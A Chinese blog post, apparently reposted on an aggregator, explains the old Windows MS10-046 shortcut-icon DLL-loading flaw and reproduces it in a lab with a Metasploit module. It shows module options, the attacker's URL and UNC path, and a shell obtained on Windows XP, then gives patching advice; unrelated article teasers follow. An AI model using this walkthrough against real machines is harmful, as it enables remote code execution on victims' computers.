操作系统攻击:早期WindowsMS10-046漏洞

news2024/9/26 1:17:40

目录

概述

漏洞成因

利用过程

漏洞复现

漏洞修复


概述

        本次介绍早期的windows高危漏洞——MS10_046_SHORTCUT_ICON_DLLLOADER ,
该漏洞可以通过浏览器跳转网络资源的方式利用,结合xss攻击用户的系统 危险性极高。

漏洞成因

        漏洞成因: ms10_046_shortcut_icon_dllloader是Windows操作系统中的一个漏洞,其成因是在处理Windows快捷方式(.lnk)文件时存在一个安全漏洞。在处理具有特制图标资源的快捷方式时,Windows会加载并执行位于快捷方式目标路径下的DLL文件。然而,由于缺乏适当的安全检查,攻击者可以通过制作恶意的快捷方式来执行恶意的DLL文件,从而实现远程代码执行攻击。

利用过程

利用ms10_046_shortcut_icon_dllloader漏洞的方式通常包括以下步骤:

  1. 攻击者创建一个特制的快捷方式(.lnk)文件,并在其中指定一个恶意的图标资源。
  2. 攻击者通过诱骗用户执行该特制快捷方式,或者将其发送给用户并利用社会工程学手段使用户点击执行。
  3. 用户执行特制快捷方式后,Windows会试图加载快捷方式目标路径下的DLL文件,但由于缺乏安全检查,恶意DLL文件将被加载并执行。
  4. 恶意DLL文件可以执行任意的远程代码,例如下载和执行其他恶意软件、修改系统配置等。

需要注意的是,利用ms10_046_shortcut_icon_dllloader漏洞需要用户执行恶意的快捷方式,因此攻击者往往会通过社会工程学手段诱使用户执行恶意快捷方式,例如伪装成合法的文件或链接,以提高攻击成功的几率。为了防止此漏洞被利用,用户应当始终谨慎地处理来自不可信来源的快捷方式,并保持操作系统和应用程序的及时更新。

漏洞复现

打开msf 检索漏洞

 查看漏洞利用模块的详细信息

msf5 exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > info

Name: Microsoft Windows Shell LNK Code Execution

Module: exploit/windows/browser/ms10_046_shortcut_icon_dllloader

Platform: Windows

Arch:

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Excellent

Disclosed: 2010-07-16

Provided by:

hdm x@hdm.io

jduck jduck@metasploit.com

B_H

Available targets:

Id Name


0 Automatic

Check supported:

No

Basic options:

Name Current Setting Required Description


SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 80 yes The daemon port to listen on (do not change)

SSLCert no Path to a custom SSL certificate (default is randomly generated)

UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4).

URIPATH / yes The URI to use (do not change).

Payload information:

Space: 2048

Description:

This module exploits a vulnerability in the handling of Windows

Shortcut files (.LNK) that contain an icon resource pointing to a

malicious DLL. This module creates a WebDAV service that can be used

to run an arbitrary payload when accessed as a UNC path.

References:

CVE-2010-2568 : Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 all

OSVDB (66387)

Microsoft Security Bulletin MS10-046 - Critical | Microsoft Learn

配置相关参数

其中20.1.1.5为本次测试的kali主机

 run

这个漏洞的利用方式只需 受害者访问http://20.1.1.5:80/这个页面就能实施攻击,或者使受害者访问\\20.1.1.5\DUxvYGJv\这个网络路径

可以结合xss ssrf构造一条攻击链  

 这里漏洞利用失败了 ,可能版本高的原因 因此切换为xp系统访问这个网页(注意这里我的网络变了 kali ip地址变了)

 访问后自动跳转

 又打开了资源管理器

看看kali这边的情况

已经获取了一个shell

获得了xp的shell

很难想象 当年你如果访问了一个网站,这很有可能说你的电脑就被入侵了。现如今在这个信息爆炸的时代,不敢保证之后会不会有类似的漏洞爆出。无论是针对浏览器的攻击 还是针对系统资源的攻击。

漏洞修复

如果你还在使用早期的xp系统 建议以下进行修复。

Microsoft已发布了修复该漏洞的安全补丁,用户应尽快安装最新的操作系统更新或服务包以修复此漏洞。

  1. Windows更新: 使用Windows Update功能检查并安装最新的安全更新。打开Windows Update,检查是否有可用的更新,然后安装所有的重要安全更新。

  2. 手动下载修复补丁: 如果自动更新未生效,用户可以手动下载修复补丁并安装。在Microsoft官方网站上搜索"MS10-046",找到相应的安全公告或补丁下载页面。选择适用于您的操作系统版本的修复补丁并按照Microsoft的指示进行安装。

  3. 禁用快捷方式缩略图: 一种临时的解决方法是禁用Windows Explorer中的快捷方式缩略图,这可以降低攻击风险。在文件资源管理器中,打开"文件"菜单,选择"更改文件夹和搜索选项",然后切换到"查看"选项卡。在"高级设置"部分,找到"始终显示图标,从不缩略图"选项,并选中该选项,然后点击"应用"和"确定"按钮。

  4. 维持操作系统更新: 持续监测并安装最新的操作系统更新和安全补丁,确保系统始终保持最新状态以防止其他新的漏洞利用。

  5. 谨慎打开未知源文件: 在打开不可信的文件夹或下载文件时要小心谨慎,特别是来自未知或不可信的来源。避免点击或运行来历不明的快捷方式文件,以减少受到恶意DLL加载攻击的风险。

通过以上措施,用户可以修复和防止Shortcut Icon DLL加载机制远程代码执行漏洞的利用。

事实上此漏洞时间太久了,现在的win10早已不存在这种漏洞,大家可以放心,不过还是建议大家平时多多给系统打补丁。

下节 讲一下早期针对IE的浏览器的攻击,也是直接拿shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/809687.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

param.grad、requires_grad、grad_fn、grad/梯度为None?

基本概念 1)is_leaf 叶子节点和非叶子节点的区别:计算图中的节点分为叶子节点和非叶子节点,叶子节点可以理解成没有其他tensor再利用它进行计算(例如b a1,那么b需要a进行计算,那么a就不是叶子结点&…

服务器介绍

本文章转载与b战up主谈三国圈,仅用于学习讨论,如有侵权,请联系博主 机架型服务器 堆出同时服务百万人次机组 刀型服务器 服务器炸了 比如用户访问量暴增 超过机组的峰值处理能力,进而导致卡顿或炸服, 适合企业的塔式…

xilinx FPGA 除法器ip核(divider)的使用(VHDLVivado)

一、创建除法ip核 vivado的除法器ip核有三种类型,跟ISE相比多了一个LuMult类型,总结来说就是 LuMult:使用了DSP切片、块RAM和少量的FPGA逻辑原语(寄存器和lut),所以和Radix2相比占用fpga资源更少&#xff…

CS_SAVEBITS 这个样式有什么作用?

简单来说,如果你在创建窗口的时候在窗口类中指定了 CS_SAVEBITS 标志,则窗口管理器会尝试保存此窗口所遮盖的区域的位图数据。 但是,这里比较关键的问题是:为什么要这样做?只有明白了这其中的原理,你才会在…

2023.07.13力扣6题

931. 下降路径最小和 给你一个 n x n 的 方形 整数数组 matrix ,请你找出并返回通过 matrix 的下降路径 的 最小和 。 下降路径可以从第一行中的任何元素开始,并从每一行中选择一个元素。在下一行选择的元素和当前行所选元素最多相隔一列(即位…

Python批量将Excel内指定列的数据向上移动一行

本文介绍基于Python语言,针对一个文件夹下大量的Excel表格文件,对其中的每一个文件加以操作——将其中指定的若干列的数据部分都向上移动一行,并将所有操作完毕的Excel表格文件中的数据加以合并,生成一个新的Excel文件的方法。 首…

走进Linux世界【七、Linux网络及快照和克隆】

Linux系统学习 走进Linux世界【一、Linux概述】 走进Linux世界【二、VM与Linux安装】 走进Linux世界【三、Linux文件与路径】 走进Linux世界【四、Linux基本命令一】 走进Linux世界【五、Linux基本命令二】 走进Linux世界【六、Linux编辑器vim】 走进Linux世界【七、Lin…

Nest grpc 实践之调用 python ddddocr 库

我曾经写过一个项目 ddddocr_server,使用 fastapi 提供 http 接口,以此来调用 ddddocr 库。 其他语言想要调用的话,则是通过 http 协议的方式来调用。然而 http 协议的开销不小,而 Websocket 调用又不灵活,此时针对这…

【计网】TCP在可靠传输中都干了啥

文章目录 1、概述2、校验和3、序列号和确认应答机制4、重传机制4.1、介绍4.2、超时重传4.3、快速重传 5、滑动窗口协议5.1、介绍5.2、发送方的滑动窗口5.3、接收方的滑动窗口 6、流量控制7、拥塞控制7.1、介绍7.2、慢开始7.3、拥塞避免7.4、快重传和快恢复 1、概述 TCP 是面向…

Day45 算法记录| 动态规划 12

股票问题 309. 买卖股票的最佳时机含冷冻期714.买卖股票的最佳时机含手续费 309. 买卖股票的最佳时机含冷冻期 这个视频讲解的很好 309.最佳买卖股票时机含冷冻期 class Solution {public int maxProfit(int[] prices) {int day prices.length;int [][] dp new int[day][2…

【雕爷学编程】MicroPython动手做(14)——掌控板之OLED屏幕

知识点:什么是掌控板? 掌控板是一块普及STEAM创客教育、人工智能教育、机器人编程教育的开源智能硬件。它集成ESP-32高性能双核芯片,支持WiFi和蓝牙双模通信,可作为物联网节点,实现物联网应用。同时掌控板上集成了OLED…

IOS UICollectionView 设置cell大小不生效问题

代码设置flowLayout.itemSize 单元格并没有改变布局大小, 解决办法如下图:把View flow layout 的estimate size 设置为None,上面设置的itemSize 生效了。

【Spring Boot】实战:实现优雅的数据返回

实战:实现优雅的数据返回 本节介绍如何让前后台优雅地进行数据交互,正常的数据如何统一数据格式,以及异常情况如何统一处理并返回统一格式的数据。 1.为什么要统一返回值 在项目开发过程中经常会涉及服务端、客户端接口数据传输或前后台分…

不同路径 II

一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为 “Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为 “Finish”)。 现在考虑网格中有障碍物。那么从左上角到右下角…

Android 面试题 ANR 五

🔥 什么是 ANR 🔥 ANR(Application Not Responding )应用无响应的简称,是为了在 APP卡死时,用户 可以强制退出APP的选择,从而避免卡机无响应问题,这是Android系统的一种自我保护机制。 在Android中&#xf…

Vue基础 --- 动态组件 插槽 自定义指令

1. 动态组件 1.1 什么是动态组件 动态组件指的是动态切换组件的显示与隐藏。 1.2 如何实现动态组件渲染 vue 提供了一个内置的 <component> 组件&#xff0c;专门用来实现动态组件的渲染。示例代码如下&#xff1a; data() { <!-- 1.当前要渲染的组件名称 -->…

ad+硬件每日学习十个知识点(13)23.7.24(MOS管纠错!!!)

1.MOS管到底怎么接&#xff1f;&#xff08;我一直都错了&#xff09; 2.MOS管的非饱和区 答&#xff1a; 3.MOS管的饱和区 答&#xff1a; 4.MOS管的截止区和击穿区 答&#xff1a; 5.做开关&#xff0c;让三极管工作在饱和区&#xff0c;让MOS管工作在非饱和区&…

rocketmq rsqldb 简单记录

GitHub 地址 https://github.com/alibaba/rsqldb/tree/main&#xff0c;是和目前stream sql化看齐的Rocketmq的sql&#xff0c;类似还有kafka的sqlDB 和flink sql。 目前版本0.2 &#xff0c;主要提供rest模式调用&#xff0c;controller类为public class RsqlController支持的…

SQL server 文件占用硬盘过大 日志 读写分离同步文件过大清理 DBCC收缩数据库 分发数据库distribution收缩

一顿操作猛如虎 又省出好几十G硬盘空间 小破站又能蹦跶了 目标&#xff1a;实例库日志压缩清理,分发数据库压缩清理 采用SQL 脚本收缩数据库 截断事务日志 backup log [数据库名] with no_log收缩数据库 dbcc shrinkdatabase ([数据库名]) 4.以上操作都不行的话&#xff0…

联发科CEO:未获准向华为供货,换机潮已过去,手机需求不会更差

据钜亨网报道&#xff0c;联发科近期召开了业绩说明会。蔡力行&#xff0c;该公司副董事长兼首席执行官&#xff0c;表明当前手机市场需求保持稳定&#xff0c;并且随着过去两年用户更换潮的过去&#xff0c;对手机市场明年有一定期望。 根据蔡力行的指示&#xff0c;联发科正在…